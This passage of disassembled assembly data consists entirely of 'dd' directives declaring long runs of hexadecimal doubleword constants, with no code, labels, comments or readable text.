		dd 0CB27A41Dh, 0ABDB3AC0h, 0E26025BCh, 3FBA0716h, 0A334F572h
		dd 9C0AA43h, 6600E227h,	0F141EE2Ch, 3ABE5DB5h, 2F804822h
		dd 0E9160D9Eh, 6000EAE0h, 0C15117ECh, 7536616Fh, 99758Ch
		dd 0ED869442h, 8090EABAh, 1FABD200h, 95883982h,	124B0096h
		dd 0BC7BD18Bh, 45000C70h, 73306587h, 3358460h, 2A75400Dh
		dd 21E0EC5Bh, 1A070219h, 0EA4E8269h, 49DEA2D0h,	0FA590056h
		dd 0E9274FC5h, 25000A28h, 33401570h, 588D0B5Dh,	1C26B511h
		dd 0EDBA009Fh, 0A042E38Ah, 53DAE0Fh, 0F3CFC069h, 0FBE8BFh
		dd 4EC6A919h, 0F28A8222h, 685628C0h, 3A6C790h, 227F6A7h
		dd 1EF0D208h, 0A5768BDDh, 4133600h, 874E9A5Eh, 0D239DDEEh
		dd 0C1F31FAEh, 41801F4h, 0EE59301Fh, 94B06601h,	6EFAB316h
		dd 3DF77CD4h, 7BABCEh, 64561F7Eh, 737FA199h, 0CBD81218h
		dd 0CD22B2h, 0CCB7E965h, 0CA1D95DAh, 0EFE813B8h, 0BEA09798h
		dd 261C5229h, 0C2808514h, 0C53DE6B1h, 78EC19C1h, 477E800Eh
		dd 7B47309Ch, 0C800BABBh, 287DF452h, 0BF154F0h,	5B653AA0h
		dd 0DD9E00F5h, 1E19BE5h, 0D1B38B2h, 0E8D250EBh,	0C000CC5Fh
		dd 42A0F29Eh, 0E0724BC4h, 0A5B61232h, 7C3000BEh, 0C547E89Dh
		dd 8C961500h, 34868F6Eh, 4C1C0E3Bh, 0BCE0DA94h,	0B7841091h
		dd 0F26EA707h, 0B3471F49h, 0BDE60DB0h, 8B5B0F1Eh, 0EEE05CDEh
		dd 8FD17FDBh, 1FAF33Eh,	12EDA737h, 1181649Ch, 0D610FE63h
		dd 6CD3E0E7h, 0C1CC3Eh,	39F8316Eh, 937D79h, 0C4B8E550h
		dd 1C486135h, 0E4DBBD0Ch, 7B7F8C8h, 0E0F66F34h,	8CCF067h
		dd 0BC002F59h, 7B0C6B72h, 8260CBB7h, 0A34BF02Eh, 0FD795880h
		dd 694CAE8Eh, 6C952428h, 1DD07015h, 0FA803EAAh,	0DD2A636h
		dd 51453828h, 0BE121C07h, 3CA0F032h, 0FDF0FE07h, 0CF46AB06h
		dd 7C90B2B4h, 135503F6h
		dd 430370E2h, 810079E6h, 0C4B32197h, 7AD33D7h, 88F77D84h
		dd 0C67C52E4h, 0CC7ED080h, 57006760h, 0E2DB0B12h, 0B9FD8Fh
		dd 0BC7D3C0Dh, 0D88EFEAAh, 0B4F0500h, 0A60F54EFh, 0EDC70083h
		dd 62C41727h, 9F4FC2Fh,	43772500h, 1BA753D7h, 5FD41E84h
		dd 0E8C0402Bh, 0C59AC998h, 0BF50BAE4h, 0EA07D2FCh, 2F45C1EDh
		dd 1EF5C8ECh, 3C98069Ch, 0C2B0DD81h, 7086D57Fh,	533B4A48h
		dd 0F300FF4Eh, 6A2BC9BEh, 188CEABh, 0C37AEA3Ah,	0B8C64DA6h
		dd 6C40E058h, 0E61DBCAh, 347593E0h, 69C3BCC0h, 0D04EA66h
		dd 0D1F67332h, 0C6EC5780h, 0D54D005Eh, 0F7AE4109h, 0C7002B3Dh
		dd 0F6B05CEAh, 9063ED8Ah, 0D9CA0F33h, 0D3C170E0h, 0EC81E8A3h
		dd 3700FAD4h, 39D278A5h, 0B93F86h, 51FFA8E5h, 7C46B838h
		dd 0CD6ED300h, 12E868F8h, 8F8A005Fh, 0E256633Ah, 441C8B19h
		dd 3780BEADh, 35129146h, 4F6000D3h, 0C2B1FA2Fh,	710EEA81h
		dd 0E0ADD636h, 0F86CD47Bh, 0C01600A5h, 0E75F30Dh, 1006E33h
		dd 5AFF77E8h, 6D405h, 65623DC5h, 8633DFF4h, 782DA52Dh
		dd 2E5D004Ah, 3EF95E8Eh, 5B1D8354h, 0C580EAFBh,	6C16EC50h
		dd 1D95EAA5h, 800BBC5Ch, 0E28C3D6Eh, 473AD308h,	283E6Ah
		dd 0CCEA9DD0h, 156154h,	35FAD5F9h, 0BF8BB0DBh, 0AA016AF4h
		dd 8980A01Bh, 5F305A2Dh, 0DE431C94h, 7E794E50h,	0C0608CC0h
		dd 0B51F2E1Eh, 0A9C0CD26h, 9BE61F3Ah, 0E4E20054h, 0A258E7BDh
		dd 0D43DFFB9h, 84EF003Dh, 6C684552h, 0CC270760h, 2963EC83h
		dd 7B792680h, 0CB3067FAh, 5805201Ah, 38D72ABh, 7FDDCF5Dh
		dd 0F0008037h, 5B41C44Bh, 0EA62AC6h, 5A70B2FDh,	9686DC40h
		dd 60032D0Bh, 0EFC38A17h, 7669C8EAh, 355B0E0Fh,	6600AF50h
		dd 12C4371Dh, 0F7B06200h, 0D66F36F1h, 736B008Fh, 89EBF20Bh
		dd 6A0019E3h, 1158BBCAh, 3992A01h, 33555D46h, 2DE8C07Dh
		dd 7100801Dh, 5CBDFD62h, 0F3E79D9h, 0C4BC2BCFh,	0EE2840FCh
		dd 36C50AD6h, 0D7229300h, 6FC94E1Bh, 6DAF0754h,	0F0EEDAF9h
		dd 3EEFC484h, 0BDC39903h, 984B0C7Dh, 134EFAh, 0D1C25ECAh
		dd 164AFEFFh, 38DACE00h, 0DB9545E3h, 70C61C31h,	0EC2D004Bh
		dd 716211DFh, 326D171Ch, 793EFC81h, 8FF08981h, 0C6181E43h
		dd 53140EFh, 0D4758B20h, 25003E7Ah, 38FF2F5h, 24484EDh
		dd 0E459E01Dh, 4E069EBh, 0D001A3DEh, 0B1C6B827h, 3CD0A113h
		dd 18146935h, 0B0946680h, 0D8008C18h, 41C381D6h, 1245F58h
		dd 44E336CDh, 0D0AFD7E9h, 1B001549h, 74708C6Bh,	7B2DEEh
		dd 0AE33B16Dh, 6CF0BB3Ch, 426B680Eh, 0DC6100C7h, 1DC0C341h
		dd 0CB2E292h, 39EC22B8h, 0C9E1F01Ch, 87380B00h,	4D9703h
		dd 0D3CDE7F7h, 670EE22Eh, 0DA126500h, 0ED3E5CF6h, 887603E4h
		dd 0C1E3D43Bh, 9E38F8B0h, 0D68B320Bh, 0E02E8E23h, 1DF651F3h
		dd 753100DCh, 8ADE6746h, 5C7F1093h, 21643C00h, 0F60E3EDFh
		dd 0E56D00BCh, 5FC88DA0h, 55002D7Ah, 78711A50h,	1F3EAD3Bh
		dd 81196A9Fh, 9B39150Fh, 1DD82482h, 0CB1A7807h,	0B0F0E4A7h
		dd 19E82Bh, 0EE94FA8Eh,	6FFE05BEh, 18CF90Fh, 0FF8AC0BBh
		dd 829923h, 0CE037C58h,	66C75F72h, 9E254F0Fh, 0C087A0D5h
		dd 0B76FF3h, 0B6909B3Eh, 2C22A57Bh, 3A10E300h, 51CF41D9h
		dd 0D876B0h, 347BBA7Dh,	0AFFBEAFCh, 6C6E7103h, 78D0922h
		dd 9288E508h, 0CC52C03Dh, 98507CB2h, 0C000AA18h, 0E5FB03CBh
		dd 9DD96Fh, 0AC3BD554h,	8F26FCB5h, 0AF891D1Fh, 11F70740h
		dd 816C2Fh, 0CD16E50Eh,	6694205Ah, 6A0F36FCh, 0E019AB06h
		dd 6B501B24h, 4CCB3BE9h, 1DA4F580h, 0B19E1638h,	2566812h
		dd 942F9A00h, 0FE603F9Ch, 21DA00A2h, 0F03AC3C6h, 0B573D92Eh
		dd 32AB6400h, 0B302D95h, 2A890969h, 3A01CFD2h, 0F80D4E24h
		dd 0C800031Ah, 0D7CD10EAh, 0EF9DB4h, 0E1BA44EEh, 47CA9C32h
		dd 98403F00h, 0FBA49A5Bh, 4F5E039Bh, 6519B031h,	7D1F7088h
		dd 0C37C3700h, 0EAF76755h, 7F760038h, 0C5414CFCh, 9A064D93h
		dd 269E2166h, 14FF0039h, 0ADEC7204h, 5D002E6Eh,	46C6028Bh
		dd 4C44AA6Bh, 81014641h, 3F80B0C8h, 673E9E21h, 3E47309Ch
		dd 6B504376h, 0D4AA47h,	0B922C7ADh, 78D27BFCh, 857CAE00h
		dd 0D7F1E67Dh, 9B071CDFh, 76C68072h, 0CE9E0371h, 0F6689C0h
		dd 74FC4420h, 321EC091h, 0DED886A2h, 6B1AB3Eh, 1D30E48Ah
		dd 9C2F0F30h, 8E804005h, 0A159AB86h, 0F181C400h, 71298475h
		dd 91F8005Ah, 4409AC32h, 0E30287B2h, 0FAC42563h, 1FB080BFh
		dd 0C366518h, 8B4C04B0h, 360AE89h, 0B6A3F819h, 9F7C0E87h
		dd 792035D6h, 757B19E9h, 0D0ECEA0Fh, 39EFACABh,	0F17F00F8h
		dd 37C16C92h, 0A9001E22h, 0CAA71E0h, 0EE41740h,	802350A0h
		dd 0FD6500D3h, 0FEB5CA72h, 0C41A2B00h, 7D81776Bh, 0F6A216B0h
		dd 3A5300B4h, 25AAD672h, 62B34E00h, 23127696h, 724FF051h
		dd 0FE6E004Dh, 69D9D449h, 620029BAh, 0E80216CFh, 0C85B9Ah
		dd 0A5466678h, 0F06C9DB5h, 0D100F8D3h, 0F9A497Dh, 21850E32h
		dd 4EA80D6h, 427E0B10h,	26FF9900h, 0B5380224h, 0FD681E1Eh
		dd 1F6C60C6h, 0EAB70029h, 0F1D29143h, 260092FEh, 0D0AF3AFCh
		dd 6E7FFD9h, 3189955h, 5B038084h, 0B5EBBA2h, 0CF85C006h
		dd 59D93BFFh, 358175BFh, 6F87F034h, 0E4C2E0BDh,	0D08447FBh
		dd 0C9B4512h, 8A4C0800h, 2F3B4EA0h, 199803CFh, 2305DB5Dh
		dd 0F29F1DBBh, 0E4C0804Bh, 5100D359h, 5B932475h, 5CB91FF6h
		dd 886F140Ch, 0E7F9B500h, 5D001EEAh, 0CF6392B0h, 0B8F823h
		dd 7060A6E4h, 8C3EA05Eh, 0EE823807h, 2A018880h,	0C07A47F8h
		dd 898D2F30h, 239DE900h, 21EBD933h, 3BE50A4Bh, 83E184h
		dd 27EF58CBh, 7C0F2B79h, 205E18E3h, 0C9E25389h,	4AD53FE5h
		dd 57AA678Ch, 7A168250h, 890F4602h, 20CA0C44h, 0D89E1C77h
		dd 0BE79402Bh, 0EB01FCBDh, 57D0C603h, 0BFBED40h, 15412628h
		dd 0BED25A80h, 0E301661Fh, 0AF7AD36h, 0BF4691Ch, 0CB630F43h
		dd 44DE5323h, 80D49606h, 0EBD7BA52h, 0B34A9F00h, 0FCAE02F3h
		dd 0BEF2DFh, 0B6281B73h, 3B947C21h, 0FD37951Fh,	0CAB060D8h
		dd 0B8845AF0h, 0D45A03D4h, 8813A821h, 52E8B7FDh, 0F80094C5h
		dd 0D5DF4969h, 28031C84h, 7C71F73h, 0A5F698C3h,	2BA8007Ch
		dd 0C02388DBh, 0EB542720h, 7E0F8F80h, 834ACBD7h, 51DD52h
		dd 841E6250h, 44EC9A53h, 1A219060h, 3B3D1B4Fh, 0E90C2F67h
		dd 0B08047C5h, 0F67F2300h, 18059517h, 0EED80068h, 345C225h
		dd 2100D320h, 55FB9BC5h, 5754AE5Bh, 0C08104F6h,	184F1D90h
		dd 3508A217h, 9800D604h, 0AA8A216h, 0BCF5CEh, 89D679B3h
		dd 69A578EFh, 93B1DC00h, 0EC6799D9h, 0EDBF3908h, 0CC006538h
		dd 0A20D257Dh, 29008FA3h, 0E60F703Bh, 60463719h, 53A9602Ch
		dd 0D2ECF47Bh, 4C5A7500h, 0FEA3AA6Dh, 0CCC710Eh, 45696C20h
		dd 2405A020h, 2D754DD8h, 21672038h, 5C83ACE8h, 0CC16A51h
		dd 26896FD0h, 66F08AD9h, 0F5726302h, 44D630B2h,	0E0BE0844h
		dd 4901A242h, 83815476h, 7A09C1D0h, 15F8FFh, 45B0165Ch
		dd 668D8E7Ah, 228FA720h, 0D800DD89h, 0AA1215Bh,	0F785CDh
		dd 0C67ABD24h, 0D577C950h, 21600100h, 27AE95B3h, 0E2E5C37h
		dd 3B011D48h, 9A6FBFF0h, 0B800E38Ah, 75563CF6h,	0F22CC04Eh
		dd 1C270364h, 0F19CF031h, 80C7713Bh, 6F611378h,	3F9348E6h
		dd 0C98CA05Dh, 0D6D85A07h, 2CC75B1Dh, 0CEC0929Eh, 36025275h
		dd 0E7A0009h, 9B10B8FFh
		dd 1938545Ch, 0FDD50E76h, 0ACAF00BFh, 0F6A552h,	0C14DA3A1h
		dd 20398650h, 4C5B78C0h, 7B4811h, 0CEE85D0Dh, 85763AAEh
		dd 3EE24000h, 0FCCBA1EBh, 0CF17F7Ah, 0A0E17D5Dh, 47009990h
		dd 60D93A7Eh, 27CF22Ch,	58FE838Fh, 0E88031BDh, 2BD549FDh
		dd 0DE3CD316h, 0B46C8E0Ah, 47FE7987h, 0D4415305h, 5E986FC0h
		dd 4520F451h, 47CB1980h, 5221BBDBh, 831F5309h, 139380EAh
		dd 0E40CC23h, 0A3086A24h, 0C75EAF20h, 0A07F1B03h, 0F31420A0h
		dd 0C433220Eh, 8C41803Dh, 3C35A3h, 79701B1Fh, 0A138C963h
		dd 89DE4930h, 0AB08DC90h, 6E75C0DCh, 0A8AB4998h, 0E8309C30h
		dd 0EE0C5A5Fh, 0D1A6E0C6h, 2F510052h, 6A8601Bh,	5B790962h
		dd 6F30761Dh, 0DC1AE0AAh, 0C031D4D7h, 0C788DCFh, 5895A5BBh
		dd 0CC0A7580h, 0D4EACF25h, 681D2700h, 67E5C12Ah, 7A6F4159h
		dd 542B004Ch, 92DE25BBh, 0C82EEE3Eh, 27B18780h,	0D86A81F8h
		dd 0C82DAF5Ah, 0E100BDA3h, 5C675521h, 0F93D1Ch,	87530B01h
		dd 8BD24E93h, 0E25DC915h, 9EBD09F0h, 0FE501040h, 208100E6h
		dd 39AB779h, 0B491CB8Dh, 0B5A7BB80h, 0F2F158E5h, 0BEB70338h
		dd 7C7D018Dh, 87C20EF8h, 0BFFF861Bh, 2DC00C0h, 0EF326417h
		dd 20701A73h, 0C19D5801h, 2EE1FF89h, 0BDCF5980h, 99528303h
		dd 0A0D1BF00h, 94C22329h, 650D009Eh, 0ED953EF2h, 0EB50B82Eh
		dd 3900C95Ch, 14077FD6h, 7079E29Bh, 89742ABBh, 0A8CE0FE4h
		dd 55A18EF3h, 0E84827F1h, 6F121E75h, 0D7001316h, 29545D69h
		dd 0D5010A24h, 80BCBBE1h, 6C53734h, 70009C4Dh, 6591A6FEh
		dd 0CEA1921Fh, 7FA71320h, 0EA8F033h, 0FE006F4Eh, 7DECBF98h
		dd 9BE5984h, 62205043h,	0E0A9241Bh, 497110A5h, 25F51F24h
		dd 49440EBh, 1EA8E679h,	0FF17D772h, 12BF0852h, 500C3317h
		dd 0B7DEBDB8h, 5B563301h, 7E8CF53Eh, 90D77021h,	15E74C45h
		dd 0B09C634Bh, 0DD54A708h, 70A132Ch, 8C0270DAh,	92648E80h
		dd 5046ACh, 0B5461131h,	6F37F3E2h, 4EADDF1Fh, 3F41B0DCh
		dd 1D53A874h, 0B0BF9853h, 4CA736FFh, 850010ECh,	663407Dh
		dd 0EF3E2C14h, 24510E48h, 0B7C58718h, 431685A0h, 0D53300FAh
		dd 0F86E3047h, 9E309CDEh, 174B388Bh, 0DA00FB96h, 66007020h
		dd 0D7445535h, 14FBF78h, 3EDD8A38h, 0E449FB11h,	0F601AEB1h
		dd 0C7DE51EDh, 0A6D03F61h, 0FFF9000Fh, 0C9E79A65h, 1200E29Fh
		dd 0E16F7CB6h, 0E8EB5F37h, 80577445h, 100B48Bh,	0B63D3B26h
		dd 9CABCC5h, 92A2A966h,	0BF290C81h, 4C588452h, 0D581C96Fh
		dd 41F08A70h, 824D002Eh, 315BFABFh, 0E8FD4FCAh,	0C000D063h
		dd 69742BEEh, 1E498FFh,	0B0EB0656h, 80F05F18h, 177FB278h
		dd 3F9687F9h, 351E5730h, 0A2D2CEB1h, 0A1AA69C6h, 767D8600h
		dd 7E58FA45h, 2C4F738Ah, 0AE22FA7h, 80B4FB17h, 0F79814F3h
		dd 5D00128Dh, 0E990BD6Bh, 0EA34F60Ah, 56233730h, 0A34BD051h
		dd 0EE3D6AB3h, 0A1D28002h, 0C2CAA2D0h, 0FFDE03CBh, 23ADA44Bh
		dd 0E980A95Fh, 0F96AE0Ah, 55916DB5h, 7CC1DF00h,	18E4A130h
		dd 6728D461h, 918CF3BFh, 0F9710517h, 0D80B5800h, 26712911h
		dd 90AF0160h, 0D04A63A3h, 2C20D4BDh, 0CBF7C3Ch,	40B09A17h
		dd 603E00F1h, 0AB8A464Dh, 0A80979FEh, 2091185Bh, 0B2FA7E10h
		dd 33900F4Bh, 74CF9F57h, 0B1567A80h, 82124375h,	14234124h
		dd 0A403CF27h, 3BB2D876h, 0B8963A1Fh, 0A6E70C85h, 3CC04ECh
		dd 0AB249CEEh, 20C41100h, 862CBEBBh, 0E4FA66h, 6D09F8B2h
		dd 0C77B6E46h, 0A8BF4802h, 0A0D4DDADh, 2F696798h, 36A8C7A7h
		dd 0AF2B7048h, 436FB4EEh, 62778020h, 506D1904h,	2493E87Ah
		dd 14684AE3h, 5D82FC5Fh, 0B0499541h, 827C2271h,	26EBAC27h
		dd 420079F2h, 2DA166D7h, 0C6734D0h, 5E45E085h, 3300F129h
		dd 48775CAh, 1C1E52Bh, 800E572Fh, 50986394h, 0CFA65ABCh
		dd 0C7E5CD02h, 7F0525C6h, 233B12C0h, 0E654800h,	3A2A3EE3h
		dd 2588C282h, 0ED24ECAFh, 6B7BE940h, 660239D8h,	69544F53h
		dd 8298B8D3h, 0F1140147h, 174DB826h, 1C8180A4h,	317C7A2Eh
		dd 0A8E30AC3h, 3CF09055h, 11029D00h, 0B0D81770h, 7A4DF50h
		dd 0CBD63Eh, 259119C0h,	3E7C6E2Eh, 94123653h, 1803476h
		dd 11B21DA4h, 0AEB18250h, 488B0B52h, 2C87E64h, 0BF4EE5BCh
		dd 0D4AAED6Ah, 314319C4h, 6D826B3h, 0D255BF58h,	98710829h
		dd 283CF1DFh, 0D90050B5h, 0C0AA9C06h, 3CCBC327h, 0E31724F3h
		dd 4D530021h, 31FB1CA6h, 85B32809h, 4C3C25C5h, 9D7FAC08h
		dd 203223Eh, 0A2E98B75h, 4E8CD8FEh, 8EF1009Bh, 0B629E14Dh
		dd 900156EDh, 82CA6727h, 3980D8C7h, 2B3A1113h, 0D91F2578h
		dd 0C540C672h, 49B221CAh, 0C34D3E92h, 77E82D81h, 805C09A5h
		dd 7F314789h, 24E021Ah,	14F7C85Dh, 0A0636D34h, 3D0DB010h
		dd 1851738Eh, 5A41AEC7h, 6D0B004Fh, 9A2AEBFAh, 14003AE1h
		dd 103F3C77h, 1E6F7B2Eh, 844A537Fh, 0C1F46C24h,	80DF080Ch
		dd 994B9C41h, 1C428CCCh, 0C02C6084h, 93E6EBDCh,	0A6122818h
		dd 2C60FD95h, 925C37A9h, 207778h, 0D7836C3Ah, 0BB72E321h
		dd 0ADA8E0Ah, 0FD808CD6h, 0F743CA3h, 3C99FC05h,	4A8F41EBh
		dd 0A128875h, 80F0F84Dh, 0D14E7874h, 4D069E6Bh,	5F1A01BEh
		dd 3DA80069h, 0A3FC0928h, 0E09131BCh, 109CCB00h, 0E01C9B3h
		dd 79CFED18h, 0F8025B09h, 0E44086EBh, 0CA01B772h, 0D032A7BAh
		dd 0F42734CCh, 6FDC2060h, 9128D577h, 3211BCF7h,	0F57D51EBh
		dd 24FDC834h, 2B749805h, 218A8CB4h, 0D500292Eh,	9DBBC60Eh
		dd 0EE86DD9h, 95A809C9h, 0CFAFCB01h, 2C342224h,	0AD62C467h
		dd 0F70C848Eh, 0F8A1B0CCh, 0C589168h, 0C231A517h, 83FA3A02h
		dd 40013919h, 9D6DD30h,	182ADC6Ah, 9FF37380h, 282C53EBh
		dd 0E8000050h, 404F7681h, 351C1B1h, 804E366Ah, 0FAE86536h
		dd 0ED7E0h, 5C80C610h, 0D2A61372h, 1C210400h, 89B983AEh
		dd 78B391h, 0D3B7317Eh,	0ED0A0F57h, 0A02937AFh,	67E89049h
		dd 0B2E9745Eh, 0B1A48828h, 40E780AFh, 0C4916060h, 1D4EC882h
		dd 408351FAh, 57B76AE4h, 9E29F376h, 9493B845h, 96E5F807h
		dd 0E0BD3B10h, 905DEC29h, 6DB6136Ch, 222C2106h,	48861249h
		dd 7140BBC0h, 0B8B87CA3h, 0A20D4450h, 0A3C080Ch, 4099A086h
		dd 0E6097E0Eh, 11452959h, 0FF4AC38h, 0EDE8146Ah, 0E003C38Ah
		dd 41AD8C7Eh, 0B82BFFA8h, 0BFDB38h, 0F6F5F362h,	17ADF60h
		dd 97B2208Ch, 0C87852C7h, 271FEF15h, 6B02A4D9h,	60D37FBEh
		dd 13598902h, 1808BDE3h, 0F4633859h, 0D2787674h, 0E5A91A09h
		dd 8F4E89EAh, 0D7FA0640h, 356C0061h, 0A7CDED68h, 0FC007494h
		dd 0C67340A6h, 7C1C9Ch,	6B079DC9h, 8C40EA1h, 713D244h
		dd 0ECE864FEh, 585D3054h, 11031443h, 71C92F7Dh,	88F6B3FBh
		dd 797F4E88h, 32100189h, 0BF700B5Bh, 31B0CC13h,	0F6FB6A06h
		dd 985889C5h, 16780001h, 73B87749h, 470EA868h, 0E18B48A7h
		dd 65310774h, 41B0B980h, 6886D44Dh, 0E896D50h, 8BF7DD00h
		dd 823DFC20h, 9D900146h, 5C6C0D62h, 4B880CFh, 4CFBEB78h
		dd 9EDB38B3h, 81C55180h, 6880965Eh, 6B501CE6h, 0CF63F6C8h
		dd 0BF5CD268h, 0A4C0B704h, 69156D3h, 0F07D0B98h, 0F618E8A7h
		dd 0DBC072ADh, 0A95300A3h, 0C51EDCF4h, 6415BB5Fh, 7AC47550h
		dd 0E57CDA06h, 44383959h, 4FEC24C1h, 0A9E4800Bh, 6D960195h
		dd 0F1E8AADDh, 992E007Ch, 0A552388h, 0CC62797Bh, 0A0C6F699h
		dd 8F622D9Ch, 0BB6600ACh
		dd 0A3792E9Eh, 3202D971h, 0CC36F813h, 0F3DCA20Ah, 1DE0A0D8h
		dd 1751FB94h, 298EA17h,	7BC7FF9Bh, 217A2441h, 87F2D867h
		dd 8599D212h, 8E935430h, 1AD6A0BFh, 6E120C9Eh, 99C9ACF7h
		dd 859ADA00h, 79E91E6Bh, 0EA5305D6h, 0AF287Ah, 7592A3F8h
		dd 7D3035C1h, 671298D1h, 1C7F07E3h, 897C198Fh, 0D9CB5C06h
		dd 0D110B918h, 1622AB1h, 17E60641h, 0CCD285C1h,	949A2EFh
		dd 7D190A08h, 3F008C6Dh, 0CEE8148Eh, 89B00355h,	9ABE4467h
		dd 4B1721E0h, 97522A00h, 5541633Eh, 0C2FE007Ch,	0A5F73B8Ah
		dd 0D00034B3h, 0C89983EEh, 24F0B69Ah, 4C206E11h, 10330F2h
		dd 0AF76B7D5h, 0F60C889Bh, 0B3EB1FB1h, 0C0C8E473h, 6B555C1Eh
		dd 80986269h, 80ACA588h, 602C3D02h, 43E9BEB1h, 0BA61A453h
		dd 2B5F9E00h, 60D1986Bh, 1214E86Ah, 8976C713h, 0BEE5D03h
		dd 0A03F699Ah, 1A1009h,	58D85BA5h, 4CF79F4Dh, 0F623980Ah
		dd 0C80887Bh, 7204B433h, 69A407A3h, 90A7FF7Ah, 4C63BB89h
		dd 64D31B24h, 90EA500h,	0EEB7BC04h, 281F00C8h, 0C67F733Eh
		dd 0EB044E2Bh, 963A93Bh, 92D2CC8h, 7A9673F9h, 58069C19h
		dd 7200A9D4h, 0F864361Fh, 107B1B55h, 37ACE51h, 26D7157Eh
		dd 30C0A44Bh, 8072C2F7h, 433F4470h, 7E2E0497h, 2CC1D895h
		dd 9C245A51h, 0D69CA8C4h, 0F1F300E4h, 92CA6521h, 8C58FA79h
		dd 0C9027499h, 0DBE12E60h, 733C6611h, 0DF1E004Eh, 0F215F0C1h
		dd 5112729Fh, 90406AFCh, 0FE46710Bh, 0D6B90A47h, 87CC556Eh
		dd 0E07B98E0h, 0C6A1CC4Eh, 981C402Eh, 6A5C5002h, 1D684630h
		dd 40E5D263h, 0B1D53B5Fh, 0EA525171h, 78550AF0h, 508680D0h
		dd 26793433h, 66287CD7h, 6E03E1C6h, 88F46D38h, 7E4F883h
		dd 0E87D008Ah, 0B1081D49h, 1A0063CCh, 692F67A4h, 68204h
		dd 6FA2345Fh, 0D691D910h, 8D66DA00h, 0C2A0FA9Fh, 0AB1400E9h
		dd 0A5C968AEh, 0C001208h, 0B9D0C840h, 616D4926h, 0B6A8486Ah
		dd 2E01D0A0h, 88961E07h, 0C60A17Bh, 588F6337h, 2400B98Bh
		dd 0C4B5031Dh, 0AC007A7Eh, 442977B6h, 2678415h,	0EAFE2AE1h
		dd 0FC8046A7h, 0D4E6D0C6h, 0FC4F240Ch, 0CA216868h, 3AA5EC40h
		dd 8D972Ch, 6A1D5998h, 0A2308A54h, 0E2CC2866h, 0F011777Bh
		dd 5A483FCDh, 2FE7948Bh, 1036C50h, 0DF612768h, 597067h
		dd 0E5105AE6h, 88C7F444h, 17294863h, 0A09FCB13h, 1F27DA6h
		dd 757955C2h, 0C02F263Ah, 0FFEA42BFh, 5FE5F401h, 0FD92AADAh
		dd 8F835880h, 12DCCD38h, 2495E103h, 0A8AC31E6h,	2C7343h
		dd 2206A134h, 8DA608D8h, 7C8A5E2Ah, 0A1C0AA74h,	509E48F3h
		dd 5708005Eh, 68021413h, 122C5D54h, 7338F4E7h, 86053578h
		dd 0ED6E7751h, 8499C02h, 44971069h, 17BA233Ah, 4E101EC4h
		dd 0F60D80ECh, 0A4C4827h, 877AD78Ah, 258D8A50h,	484A8E84h
		dd 80446F07h, 73678655h, 80D5BA3Ah, 0AFB4BD30h,	12C6ABC7h
		dd 4F8CE5A5h, 25A3010Ch, 0C815FEC9h, 7CD089E1h,	0EBC06D60h
		dd 0C2A1Bh, 740F477Ch, 9FCD4613h, 0B9B79806h, 2838DEEAh
		dd 28A622h, 0A2170C6Eh,	31E8A02Bh, 5C03857Dh, 5D606F5Fh
		dd 0F7DF88E1h, 0CD40EE5h, 41DF288Bh, 4D6C9425h,	75C88080h
		dd 5EC6AE71h, 1AC3242Ch, 6137643Ch, 0C050C9AAh,	0EE112Fh
		dd 0D95212EDh, 3571AE4Eh, 0A68D5709h, 627C25B3h, 29FB7580h
		dd 0D2F00067h, 5F8CA72Fh, 91F2050h, 0D302D8F4h,	0A5724422h
		dd 7002248Ch, 3680E6Bh,	0B003744Ch, 0C74A0855h,	1A38F070h
		dd 0F2C3001Ch, 249FFDE8h, 57486A48h, 0CCA50868h, 7B1F05h
		dd 3D33F2B8h, 24710B3h,	87CB0500h, 0CF12D08Dh, 0B79D9307h
		dd 1B327F03h, 48C83BDh,	0D0E7CB55h, 0F252B232h,	11E01D5Dh
		dd 88E8D4FBh, 2E4CB2Ah,	403C0C16h, 98988014h, 2B0407E5h
		dd 8C204B9Ah, 1E5E40C1h, 89487C2h, 58B2FF3h, 13775868h
		dd 0ACF4212Eh, 8508E7h,	1EA5CBF5h, 6F093E6h, 82A4CC09h
		dd 0B1F8060Ah, 0F4AD2440h, 4DF180B0h, 2D916508h, 7F9C6893h
		dd 4239CB00h, 0F894C1h,	72AFF11Dh, 96E2892Dh, 0FC5549h
		dd 0ECA1B6B2h, 5AB9Fh, 0F5C61A6Dh, 0C210F31Bh, 797E3012h
		dd 85843011h, 20053E24h, 0E84B32A8h, 56820079h,	1D606Dh
		dd 8C0DC6DFh, 0CF03B036h, 0BFB5A90Ah, 0B4CA98C3h, 0ACB97002h
		dd 3BC0A0BEh, 8DE580h, 0D616C537h, 397F3A14h, 0C744EC92h
		dd 229A007Ah, 0A1277410h, 15010E8Fh, 4998296Fh,	5AEC04A8h
		dd 0F4A1C3E0h, 65D8E52Ah, 0CC24E439h, 0BD4318AFh, 0C179BECEh
		dd 1E08D9FBh, 0C2C4366Ah, 169053Eh, 5438E50Ah, 0E0F405E8h
		dd 643880F2h, 0C90159D7h, 5F56C230h, 0FC486E7Fh, 7D165C94h
		dd 5391ED0Dh, 23A1F0A1h, 7126B13h, 56B6D404h, 3C30EA0Bh
		dd 2700F5F1h, 0A787156Fh, 26305903h, 874CA44Ch,	0D98C2B32h
		dd 0E684808Fh, 27F49051h, 69CBE402h, 223030FDh,	3AF7017Eh
		dd 0CEBA5BE3h, 0B139E0EDh, 670C6099h, 3FA4E909h, 0F8031131h
		dd 70BCE9B6h, 90AC7C83h, 0C3FCC558h, 0E18A8700h, 7EDA17F9h
		dd 516D0A0Fh, 1C50E030h, 1C86927h, 0E4B10D80h, 8AC46074h
		dd 0C058E24Ch, 6E284569h, 0FA7A0F86h, 6999ADB7h, 0D8626Bh
		dd 284BAB49h, 0EA2E8568h, 374F078Eh, 0E0799CDFh, 0E166AD41h
		dd 60671E44h, 9E61390Ah, 0C700F0FEh, 887C7EB7h,	771FAAh
		dd 264AE91Eh, 2B164313h, 5C83F898h, 0E2A8E0D8h,	0DFE63400h
		dd 136A4CF2h, 0A325240Eh, 0CB270FDCh, 7EE10A90h, 884E865h
		dd 508DB515h, 0F02291D5h, 2EE0F000h, 0DD691524h, 895EFD07h
		dd 0A742BB53h, 59A468B7h, 0CDEE2Dh, 0A4F4A841h,	0E6DA0DD7h
		dd 755AE814h, 0D5F80768h, 60A0AC37h, 7339FB8h, 45AFE6D1h
		dd 640AA0A1h, 0C75D47A6h, 4C0CD32Ch, 900869B9h,	33FD4410h
		dd 0BF69E00Eh, 48290016h, 3DCA3E73h, 548A11CDh,	3707F18h
		dd 6149257Bh, 380A390Ah, 0AD8C983Ah, 0FAA651A3h, 0B19A3CE2h
		dd 5DB28C00h, 9981A9E5h, 3B518704h, 98D0ED6Dh, 12190F64h
